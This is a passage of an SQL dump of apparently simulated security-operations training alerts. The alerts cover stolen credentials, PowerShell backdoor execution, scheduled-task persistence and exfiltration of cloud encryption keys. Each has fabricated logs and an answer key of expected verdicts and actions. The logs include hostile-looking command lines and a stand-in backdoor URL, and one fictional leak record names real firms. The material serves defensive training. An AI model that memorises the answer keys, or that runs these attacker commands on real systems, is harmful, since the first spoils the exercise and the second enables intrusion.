2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:45Z\\\",\\\"source_ip\\\":\\\"185.220.101.5\\\",\\\"internal_ip\\\":\\\"192.168.1.15\\\",\\\"username\\\":\\\"jdoe\\\",\\\"exfiltrated_filename\\\":\\\"uber_customer_data.zip\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"forum_url\\\":\\\"http://darkwebforum.example/disclosure/uber-leak\\\",\\\"malicious_actor\\\":\\\"Lapsus$\\\",\\\"action\\\":\\\"Data Public Disclosure\\\",\\\"target\\\":\\\"Uber\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.567Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:45Z\\\",\\\"source_ip\\\":\\\"185.220.101.5\\\",\\\"internal_ip\\\":\\\"192.168.1.15\\\",\\\"username\\\":\\\"jdoe\\\",\\\"exfiltrated_filename\\\":\\\"uber_customer_data.zip\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"forum_url\\\":\\\"http://darkwebforum.example/disclosure/uber-leak\\\",\\\"malicious_actor\\\":\\\"Lapsus$\\\",\\\"action\\\":\\\"Data Public Disclosure\\\",\\\"target\\\":\\\"Uber\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.567Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:45Z\\\",\\\"source_ip\\\":\\\"185.220.101.5\\\",\\\"internal_ip\\\":\\\"192.168.1.15\\\",\\\"username\\\":\\\"jdoe\\\",\\\"exfiltrated_filename\\\":\\\"uber_customer_data.zip\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"forum_url\\\":\\\"http://darkwebforum.example/disclosure/uber-leak\\\",\\\"malicious_actor\\\":\\\"Lapsus$\\\",\\\"action\\\":\\\"Data Public Disclosure\\\",\\\"target\\\":\\\"Uber\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(892, 'Suspicious Login Detected on DevOps Engineer\'s Home Network', 'high', 'Network logs', 'An unauthorized login attempt was detected from an external IP address on the DevOps engineer\'s home network. The attacker exploited weak credentials to gain initial access, potentially targeting corporate assets.', 'Initial Access', 'T1078: Valid Accounts', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:32:45Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.10\",\"username\":\"devops_admin\",\"login_status\":\"successful\",\"method\":\"SSH\",\"reason\":\"Weak password\",\"device\":\"HomeRouter\",\"hash\":\"3f786850e387550fdab836ed7e6dc881de23001b\",\"filename\":\"malicious_payload.sh\"}', '2026-01-15 00:59:54', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with known threat actor activities.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Home network device\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"devops_admin\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal User Database\",\"verdict\":\"suspicious\",\"details\":\"Username targeted by brute force attempts\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"3f786850e387550fdab836ed7e6dc881de23001b\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash matches known malicious payloads.\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"malicious_payload.sh\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Repository\",\"verdict\":\"malicious\",\"details\":\"Filename used in previous attacks.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'advanced', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(893, 'Malicious Script Execution Identified on Compromised Machine', 'high', 'Endpoint Detection and Response (EDR) alerts', 'A custom script was executed on a compromised machine to install a backdoor for persistent access and command execution. The script was executed by an unauthorized process, indicating advanced attacker capabilities.', 'Execution', 'T1059: Command and Scripting Interpreter', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:32:28Z\",\"event_id\":\"EDR-20231015-00234\",\"host_ip\":\"192.168.1.45\",\"host_name\":\"compromised-host\",\"user_name\":\"john.doe\",\"process_name\":\"powershell.exe\",\"command_line\":\"powershell -ExecutionPolicy Bypass -File C:\\\\Users\\\\john.doe\\\\AppData\\\\Local\\\\Temp\\\\malicious_script.ps1\",\"file_hash\":\"3f1c5a7b2c4f8e9d5f6e7b8c9d10e2a3\",\"attacker_ip\":\"203.0.113.45\",\"attacker_domain\":\"malicious-actor.com\",\"attacker_url\":\"http://malicious-actor.com/backdoor\",\"file_path\":\"C:\\\\Users\\\\john.doe\\\\AppData\\\\Local\\\\Temp\\\\malicious_script.ps1\"}', '2026-01-15 00:59:55', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"IP address of the compromised host within the internal network.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"Known IP associated with malicious activity.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"3f1c5a7b2c4f8e9d5f6e7b8c9d10e2a3\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"File hash associated with well-known malware.\"}},{\"id\":\"artifact_4\",\"type\":\"url\",\"value\":\"http://malicious-actor.com/backdoor\",\"is_critical\":false,\"osint_result\":{\"source\":\"Open Source Intelligence\",\"verdict\":\"suspicious\",\"details\":\"URL linked to suspicious activity.\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"malicious_script.ps1\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"malicious\",\"details\":\"Script used to establish backdoor access.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'advanced', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(894, 'Backdoor Persistence Mechanism Activated', 'high', 'System logs', 'An advanced persistence mechanism was activated on the compromised machine, allowing the attacker to maintain access without re-exploiting vulnerabilities. This action is characteristic of advanced persistent threats that aim to stay undetected for extended periods.', 'Persistence', 'T1547.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-25T14:32:18Z\",\"event_id\":\"4720\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.15\",\"user\":\"compromised_user\",\"action\":\"Scheduled Task Created\",\"task_name\":\"\\\\Microsoft\\\\Windows\\\\Update\\\\CriticalUpdate\",\"task_command\":\"C:\\\\Windows\\\\System32\\\\wscript.exe C:\\\\Users\\\\compromised_user\\\\AppData\\\\Local\\\\Temp\\\\update.vbs\",\"file_hash\":\"b1946ac92492d2347c6235b4d2611184\",\"file_name\":\"update.vbs\"}', '2026-01-15 00:59:55', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with known APT group activity.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Local network address of compromised machine.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"b1946ac92492d2347c6235b4d2611184\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash found in multiple malware reports.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"update.vbs\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"suspicious\",\"details\":\"Script used to maintain persistence.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"compromised_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal User Directory\",\"verdict\":\"internal\",\"details\":\"User account compromised.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'advanced', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.571Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-25T14:32:18Z\\\",\\\"event_id\\\":\\\"4720\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.15\\\",\\\"user\\\":\\\"compromised_user\\\",\\\"action\\\":\\\"Scheduled Task Created\\\",\\\"task_name\\\":\\\"\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\Update\\\\\\\\CriticalUpdate\\\",\\\"task_command\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\wscript.exe C:\\\\\\\\Users\\\\\\\\compromised_user\\\\\\\\AppData\\\\\\\\Local\\\\\\\\Temp\\\\\\\\update.vbs\\\",\\\"file_hash\\\":\\\"b1946ac92492d2347c6235b4d2611184\\\",\\\"file_name\\\":\\\"update.vbs\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.571Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-25T14:32:18Z\\\",\\\"event_id\\\":\\\"4720\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.15\\\",\\\"user\\\":\\\"compromised_user\\\",\\\"action\\\":\\\"Scheduled Task Created\\\",\\\"task_name\\\":\\\"\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\Update\\\\\\\\CriticalUpdate\\\",\\\"task_command\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\wscript.exe C:\\\\\\\\Users\\\\\\\\compromised_user\\\\\\\\AppData\\\\\\\\Local\\\\\\\\Temp\\\\\\\\update.vbs\\\",\\\"file_hash\\\":\\\"b1946ac92492d2347c6235b4d2611184\\\",\\\"file_name\\\":\\\"update.vbs\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.571Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-25T14:32:18Z\\\",\\\"event_id\\\":\\\"4720\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.15\\\",\\\"user\\\":\\\"compromised_user\\\",\\\"action\\\":\\\"Scheduled Task Created\\\",\\\"task_name\\\":\\\"\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\Update\\\\\\\\CriticalUpdate\\\",\\\"task_command\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\wscript.exe C:\\\\\\\\Users\\\\\\\\compromised_user\\\\\\\\AppData\\\\\\\\Local\\\\\\\\Temp\\\\\\\\update.vbs\\\",\\\"file_hash\\\":\\\"b1946ac92492d2347c6235b4d2611184\\\",\\\"file_name\\\":\\\"update.vbs\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.571Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-25T14:32:18Z\\\",\\\"event_id\\\":\\\"4720\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.15\\\",\\\"user\\\":\\\"compromised_user\\\",\\\"action\\\":\\\"Scheduled Task Created\\\",\\\"task_name\\\":\\\"\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\Update\\\\\\\\CriticalUpdate\\\",\\\"task_command\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\wscript.exe C:\\\\\\\\Users\\\\\\\\compromised_user\\\\\\\\AppData\\\\\\\\Local\\\\\\\\Temp\\\\\\\\update.vbs\\\",\\\"file_hash\\\":\\\"b1946ac92492d2347c6235b4d2611184\\\",\\\"file_name\\\":\\\"update.vbs\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.571Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-25T14:32:18Z\\\",\\\"event_id\\\":\\\"4720\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.15\\\",\\\"user\\\":\\\"compromised_user\\\",\\\"action\\\":\\\"Scheduled Task Created\\\",\\\"task_name\\\":\\\"\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\Update\\\\\\\\CriticalUpdate\\\",\\\"task_command\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\wscript.exe C:\\\\\\\\Users\\\\\\\\compromised_user\\\\\\\\AppData\\\\\\\\Local\\\\\\\\Temp\\\\\\\\update.vbs\\\",\\\"file_hash\\\":\\\"b1946ac92492d2347c6235b4d2611184\\\",\\\"file_name\\\":\\\"update.vbs\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(895, 'Unauthorized Access to Corporate Cloud Environment', 'high', 'Cloud access logs', 'An attacker used stolen credentials to move laterally into the corporate cloud environment from a compromised home machine. The attacker targeted critical infrastructure and attempted to access sensitive data.', 'Lateral Movement', 'T1078 - Valid Accounts', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:23:45Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.20.30.40\",\"user\":\"jdoe\",\"action\":\"login\",\"status\":\"success\",\"auth_method\":\"password\",\"suspicious_file\":\"malicious_payload.exe\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"accessed_resource\":\"sensitive_data_vault\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\"}', '2026-01-15 00:59:56', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with previous attacks.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.20.30.40\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Corporate cloud environment IP.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal User Directory\",\"verdict\":\"suspicious\",\"details\":\"User credentials were compromised.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash matches known malware.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"escalate\"]}', 'advanced', 'DLP', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.572Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:45Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.20.30.40\\\",\\\"user\\\":\\\"jdoe\\\",\\\"action\\\":\\\"login\\\",\\\"status\\\":\\\"success\\\",\\\"auth_method\\\":\\\"password\\\",\\\"suspicious_file\\\":\\\"malicious_payload.exe\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"accessed_resource\\\":\\\"sensitive_data_vault\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.572Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:45Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.20.30.40\\\",\\\"user\\\":\\\"jdoe\\\",\\\"action\\\":\\\"login\\\",\\\"status\\\":\\\"success\\\",\\\"auth_method\\\":\\\"password\\\",\\\"suspicious_file\\\":\\\"malicious_payload.exe\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"accessed_resource\\\":\\\"sensitive_data_vault\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.572Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:45Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.20.30.40\\\",\\\"user\\\":\\\"jdoe\\\",\\\"action\\\":\\\"login\\\",\\\"status\\\":\\\"success\\\",\\\"auth_method\\\":\\\"password\\\",\\\"suspicious_file\\\":\\\"malicious_payload.exe\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"accessed_resource\\\":\\\"sensitive_data_vault\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.572Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:45Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.20.30.40\\\",\\\"user\\\":\\\"jdoe\\\",\\\"action\\\":\\\"login\\\",\\\"status\\\":\\\"success\\\",\\\"auth_method\\\":\\\"password\\\",\\\"suspicious_file\\\":\\\"malicious_payload.exe\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"accessed_resource\\\":\\\"sensitive_data_vault\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.572Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:45Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.20.30.40\\\",\\\"user\\\":\\\"jdoe\\\",\\\"action\\\":\\\"login\\\",\\\"status\\\":\\\"success\\\",\\\"auth_method\\\":\\\"password\\\",\\\"suspicious_file\\\":\\\"malicious_payload.exe\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"accessed_resource\\\":\\\"sensitive_data_vault\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(896, 'Extraction of Encryption Keys from Cloud Storage', 'critical', 'Data access logs', 'An advanced exfiltration operation targeting cloud storage for the extraction of encryption keys used to decrypt user vaults. The attacker accessed and exfiltrated sensitive encryption keys stored within a cloud environment, potentially compromising the integrity of encrypted data for millions of users.', 'Exfiltration', 'T1567 - Exfiltration Over Web Service', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-28T13:45:27Z\",\"event_id\":\"9876543210\",\"action\":\"EXFILTRATION\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.0.0.42\",\"username\":\"malicious_actor\",\"file_exfiltrated\":\"encryption_keys_backup_20231028.tar.gz\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"cloud_service_provider\":\"aws\",\"bucket_name\":\"sensitive-keys-backup\",\"user_agent\":\"python-requests/2.25.1\",\"status\":\"SUCCESS\"}', '2026-01-15 00:59:56', '2026-02-16 17:55:59', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"ThreatIntelligencePlatform\",\"verdict\":\"malicious\",\"details\":\"IP address associated with known APT group activities.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.42\",\"is_critical\":false,\"osint_result\":{\"source\":\"InternalLogs\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the cloud storage server.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"malicious_actor\",\"is_critical\":true,\"osint_result\":{\"source\":\"SecurityReports\",\"verdict\":\"malicious\",\"details\":\"Username used in previous unauthorized access attempts.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"encryption_keys_backup_20231028.tar.gz\",\"is_critical\":true,\"osint_result\":{\"source\":\"FileAnalysis\",\"verdict\":\"suspicious\",\"details\":\"File containing sensitive encryption keys.\"}},{\"id\":\"artifact_5\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"suspicious\",\"details\":\"Hash linked to potential data exfiltration scripts.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'advanced', 'DLP', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.574Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-28T13:45:27Z\\\",\\\"event_id\\\":\\\"9876543210\\\",\\\"action\\\":\\\"EXFILTRATION\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.0.42\\\",\\\"username\\\":\\\"malicious_actor\\\",\\\"file_exfiltrated\\\":\\\"encryption_keys_backup_20231028.tar.gz\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"cloud_service_provider\\\":\\\"aws\\\",\\\"bucket_name\\\":\\\"sensitive-keys-backup\\\",\\\"user_agent\\\":\\\"python-requests/2.25.1\\\",\\\"status\\\":\\\"SUCCESS\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.574Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-28T13:45:27Z\\\",\\\"event_id\\\":\\\"9876543210\\\",\\\"action\\\":\\\"EXFILTRATION\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.0.42\\\",\\\"username\\\":\\\"malicious_actor\\\",\\\"file_exfiltrated\\\":\\\"encryption_keys_backup_20231028.tar.gz\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"cloud_service_provider\\\":\\\"aws\\\",\\\"bucket_name\\\":\\\"sensitive-keys-backup\\\",\\\"user_agent\\\":\\\"python-requests/2.25.1\\\",\\\"status\\\":\\\"SUCCESS\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.574Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-28T13:45:27Z\\\",\\\"event_id\\\":\\\"9876543210\\\",\\\"action\\\":\\\"EXFILTRATION\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.0.42\\\",\\\"username\\\":\\\"malicious_actor\\\",\\\"file_exfiltrated\\\":\\\"encryption_keys_backup_20231028.tar.gz\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"cloud_service_provider\\\":\\\"aws\\\",\\\"bucket_name\\\":\\\"sensitive-keys-backup\\\",\\\"user_agent\\\":\\\"python-requests/2.25.1\\\",\\\"status\\\":\\\"SUCCESS\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.574Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 